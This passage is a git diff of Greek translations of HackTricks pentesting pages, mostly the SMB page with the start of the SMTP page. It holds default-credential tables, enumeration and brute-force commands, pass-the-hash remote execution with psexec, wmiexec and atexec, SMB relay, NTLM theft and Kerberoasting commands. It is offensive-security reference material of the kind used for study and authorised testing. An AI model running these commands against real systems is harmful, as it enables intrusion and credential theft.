μπορούν να παρέχονται από έναν διακομιστή SMB, καθιστώντας τη ιεραρχία ορατή σε έναν πελάτη εν μέρει **ανεξάρτητη** από τη πραγματική δομή του διακομιστή. Οι **Access Control Lists (ACLs)**, που καθορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** πάνω στις άδειες χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτές οι άδειες μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινές χρήσεις, και είναι διακριτές από τις τοπικές άδειες που έχουν οριστεί στον διακομιστή. @@ -26,13 +26,13 @@ Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση: -- Πληροφοριών για το λειτουργικό σύστημα -- Λεπτομερειών για το γονικό τομέα +- Πληροφοριών σχετικά με το λειτουργικό σύστημα +- Λεπτομερειών σχετικά με το γονικό τομέα - Συγκέντρωσης τοπικών χρηστών και ομάδων -- Πληροφοριών για διαθέσιμες κοινές χρήσεις SMB +- Πληροφοριών σχετικά με διαθέσιμες κοινές χρήσεις SMB - Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος -Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευμένου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. +Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευόμενου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. ```bash enum4linux -a target_ip ``` @@ -52,9 +52,9 @@ enum4linux -a target_ip ```bash nbtscan -r 192.168.0.1/24 ``` -### Έκδοση διακομιστή SMB +### SMB server version -Για να αναζητήσετε πιθανά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Εάν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε να: +Για να αναζητήσετε πιθανά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Αν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε να: - Χρησιμοποιήσετε το **MSF** auxiliary module \_**auxiliary/scanner/smb/smb_version** - Ή αυτό το script: @@ -81,11 +81,11 @@ searchsploit microsoft smb ``` ### **Πιθανές** Διαπιστώσεις -| **Όνομα χρήστη(ες)** | **Κοινές κωδικοί πρόσβασης** | +| **Όνομα χρήστη(ων)** | **Κοινές κωδικοί πρόσβασης** | | --------------------- | ------------------------------------------ | | _(κενό)_ | _(κενό)_ | | guest | _(κενό)_ | -| Administrator, admin | _(κενό)_, password, administrator, admin | +| Administrator, admin | _(κενό)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | @@ -119,9 +119,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Καταμέτρηση Χρηστών, Ομάδων & Συνδεδεμένων Χρηστών +### Enumerate Users, Groups & Logged On Users -Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από το enum4linux και το enum4linux-ng. +Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συγκεντρωθεί από το enum4linux και το enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -139,7 +139,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Μονογραμμή +Oneliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -217,7 +217,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -ή αυτό το σενάριο (χρησιμοποιώντας μια κενή συνεδρία) +ή για αυτό το σενάριο (χρησιμοποιώντας μια κενή συνεδρία) ```bash #/bin/bash @@ -239,7 +239,7 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Καταμέτρηση κοινών πόρων από Windows / χωρίς εργαλεία τρίτων** +### **Καταμέτρηση μεριδίων από Windows / χωρίς εργαλεία τρίτων** PowerShell ```powershell @@ -267,7 +267,7 @@ compmgmt.msc ``` explorer.exe (γραφικό), εισάγετε `\\\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις. -### Τοποθέτηση ενός κοινόχρηστου φακέλου +### Σύνδεση σε έναν κοινόχρηστο φάκελο ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share @@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Ιδιαίτερα ενδιαφέρον από τις κοινές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια. +Ιδιαίτερα ενδιαφέρον από τις κοινές διανομές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια. > [!NOTE] -> Το **SYSVOL share** είναι **αναγνώσιμο** από όλους τους αυθεντικοποιημένους χρήστες στο domain. Εκεί μπορείτε να **βρείτε** πολλές διαφορετικές παρτίδες, VBScript και PowerShell **scripts**.\ -> Πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**. +> Η **κοινή χρήση SYSVOL** είναι **αναγνώσιμη** από όλους τους αυθεντικοποιημένους χρήστες στο τομέα. Εκεί μπορείτε να **βρείτε** πολλές διαφορετικές παρτίδες, VBScript και PowerShell **σενάρια**.\ +> Πρέπει να **ελέγξετε** τα **σενάρια** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**. ## Ανάγνωση Μητρώου @@ -326,22 +326,22 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Η **προεπιλεγμένη ρύθμιση του** διακομιστή **Samba** βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**: +Η **προεπιλεγμένη ρύθμιση** ενός **Samba** server βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**: | **Ρύθμιση** | **Περιγραφή** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Επιτρέπεται η καταγραφή των διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; | +| `browseable = yes` | Επιτρέπεται η καταγραφή διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; | | `read only = no` | Απαγορεύεται η δημιουργία και η τροποποίηση αρχείων; | | `writable = yes` | Επιτρέπεται στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; | | `guest ok = yes` | Επιτρέπεται η σύνδεση στην υπηρεσία χωρίς τη χρήση κωδικού πρόσβασης; | | `enable privileges = yes` | Τηρούνται τα δικαιώματα που έχουν ανατεθεί σε συγκεκριμένο SID; | -| `create mask = 0777` | Ποια δικαιώματα πρέπει να ανατίθενται στα νεοδημιουργηθέντα αρχεία; | -| `directory mask = 0777` | Ποια δικαιώματα πρέπει να ανατίθενται στους νεοδημιουργηθέντες καταλόγους; | +| `create mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στα νεοδημιουργηθέντα αρχεία; | +| `directory mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στους νεοδημιουργηθέντες καταλόγους; | | `logon script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται κατά την είσοδο του χρήστη; | | `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; | | `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; | -Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **διακομιστή** και για **ποιοι είναι συνδεδεμένοι**. +Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **server** και για **ποιος είναι συνδεδεμένος**. ## Authenticate using Kerberos @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιοδήποτε από **mmcexec, smbexec, atexec, wmiexec** με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`: +crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιαδήποτε από **mmcexec, smbexec, atexec, wmiexec** με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`: ```bash apt-get install crackmapexec @@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec -Αθόρυβα εκτελέστε ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\ +Εκτελέστε κρυφά μια εντολή shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\ Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**. +Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -421,14 +421,14 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ## **Bruteforce διαπιστευτήρια χρηστών** -**Αυτό δεν συνιστάται, μπορεί να μπλοκάρετε έναν λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες** +**Αυτό δεν συνιστάται, μπορεί να αποκλείσετε έναν λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η αυθεντικοποίηση **είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\ +Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\ [**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -452,7 +452,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ## NTLM Theft -Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του NetNTLMv2 hash με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](pentesting-smb.md#smb-relay-attack). +Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](pentesting-smb.md#smb-relay-attack). [Δείτε: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) @@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request -https://book.hacktricks.xyz/pentesting/pentesting-smb +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html Entry_2: Name: Enum4Linux diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 2a646a7e2..f77130aaf 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,7 +4,7 @@ ## **Port 139** -Το _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορούν να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που ενεργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που ενεργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**. +Το _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορεί να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που ενεργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που ενεργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` @@ -26,13 +26,13 @@ Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση: -- Πληροφοριών σχετικά με το λειτουργικό σύστημα -- Λεπτομερειών σχετικά με το γονικό τομέα +- Πληροφοριών για το λειτουργικό σύστημα +- Λεπτομερειών για το γονικό τομέα - Συγκέντρωσης τοπικών χρηστών και ομάδων -- Πληροφοριών σχετικά με διαθέσιμες κοινές χρήσεις SMB +- Πληροφοριών για διαθέσιμες κοινές χρήσεις SMB - Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος -Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευμένου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. +Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στόχου, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. ```bash enum4linux -a target_ip ``` @@ -40,7 +40,7 @@ enum4linux -a target_ip ## Τι είναι το NTLM -Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:** +Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα σχετικά με το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:** {{#ref}} ../../windows-hardening/ntlm/ @@ -82,14 +82,14 @@ searchsploit microsoft smb ### **Πιθανές** Διαπιστώσεις | **Όνομα χρήστη(ων)** | **Κοινές κωδικοί πρόσβασης** | -| -------------------- | ----------------------------------------- | -| _(κενό)_ | _(κενό)_ | -| guest | _(κενό)_ | -| Administrator, admin | _(κενό)_, password, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | password, test, lab, demo | +| --------------------- | ------------------------------------------ | +| _(κενό)_ | _(κενό)_ | +| guest | _(κενό)_ | +| Administrator, admin | _(κενό)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | ### Brute Force @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Χειροκίνητη καταμέτρηση κοινών πόρων Windows και σύνδεση σε αυτούς** -Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιουσδήποτε πόρους της μηχανής-οικοδεσπότη και όταν προσπαθείτε να τους καταγράψετε, φαίνεται ότι δεν υπάρχουν πόροι για σύνδεση. Έτσι, μπορεί να αξίζει να προσπαθήσετε να συνδεθείτε χειροκίνητα σε έναν πόρο. Για να καταμετρήσετε τους πόρους χειροκίνητα, μπορεί να θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή έγκυρα διαπιστευτήρια). Αυτές μπορεί να υποδεικνύουν αν ο πόρος υπάρχει και δεν έχετε πρόσβαση σε αυτόν ή αν ο πόρος δεν υπάρχει καθόλου. +Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιουσδήποτε πόρους της μηχανής-οικοδεσπότη και όταν προσπαθείτε να τους καταγράψετε, φαίνεται ότι δεν υπάρχουν πόροι για σύνδεση. Έτσι, μπορεί να αξίζει να προσπαθήσετε να συνδεθείτε χειροκίνητα σε έναν πόρο. Για να καταμετρήσετε τους πόρους χειροκίνητα, μπορεί να θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή έγκυρα διαπιστευτήρια). Αυτά μπορεί να υποδεικνύουν αν ο πόρος υπάρχει και δεν έχετε πρόσβαση σε αυτόν ή αν ο πόρος δεν υπάρχει καθόλου. Κοινά ονόματα πόρων για στόχους Windows είναι @@ -267,7 +267,7 @@ compmgmt.msc ``` explorer.exe (γραφικό), εισάγετε `\\\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις. -### Τοποθέτηση ενός κοινόχρηστου φακέλου +### Σύνδεση σε έναν κοινόχρηστο φάκελο ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share @@ -300,7 +300,7 @@ smbclient /// ### Αναζήτηση Κοινών Φακέλων Τομέα -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** +- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -326,7 +326,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Η **προεπιλεγμένη ρύθμιση του** διακομιστή **Samba** βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**: +Η **προεπιλεγμένη ρύθμιση** ενός **Samba** server βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**: | **Ρύθμιση** | **Περιγραφή** | | --------------------------- | ------------------------------------------------------------------- | @@ -341,7 +341,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 | `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; | | `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; | -Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **διακομιστή** και για **ποιοι είναι συνδεδεμένοι**. +Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **server** και για **ποιος είναι συνδεδεμένος**. ## Authenticate using Kerberos @@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Αθόρυβα εκτελέστε ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\ +Αθόρυβα εκτελέστε μια εντολή shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\ Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -409,7 +409,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -Εκτέλεση εντολών μέσω του Task Scheduler (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\ +Εκτέλεση εντολών μέσω του Προγραμματιστή Εργασιών (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\ Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" @@ -428,7 +428,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και **τις αναμεταδίδει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\ +Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\ [**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request -https://book.hacktricks.xyz/pentesting/pentesting-smb +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html Entry_2: Name: Enum4Linux diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index fbec6b022..c613df12f 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -17,7 +17,7 @@ PORT STATE SERVICE REASON VERSION Αν έχετε την ευκαιρία να **κάνετε το θύμα να σας στείλει ένα email** (μέσω της φόρμας επικοινωνίας της ιστοσελίδας για παράδειγμα), κάντε το γιατί **μπορείτε να μάθετε για την εσωτερική τοπολογία** του θύματος βλέποντας τα headers του email. -Μπορείτε επίσης να λάβετε ένα email από έναν SMTP server προσπαθώντας να **στείλετε σε αυτόν τον server ένα email σε μια ανύπαρκτη διεύθυνση** (γιατί ο server θα στείλει στον επιτιθέμενο ένα NDN email). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λάβετε NDN μηνύματα. +Μπορείτε επίσης να λάβετε ένα email από έναν SMTP server προσπαθώντας να **στείλετε σε αυτόν τον server ένα email σε μια ανύπαρκτη διεύθυνση** (γιατί ο server θα στείλει στον επιτιθέμενο ένα NDN mail). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λάβετε NDN μηνύματα. Πρέπει επίσης να προσπαθήσετε να **στείλετε διαφορετικά περιεχόμενα γιατί μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες** στα headers όπως: `X-Virus-Scanned: by av.domain.com`\ Πρέπει να στείλετε το αρχείο δοκιμής EICAR.\ @@ -245,26 +245,26 @@ smtp-smuggling.md | Μηχανισμός | Περιγραφή | | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς. | +| ALL | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με τους προηγούμενους μηχανισμούς. | | A 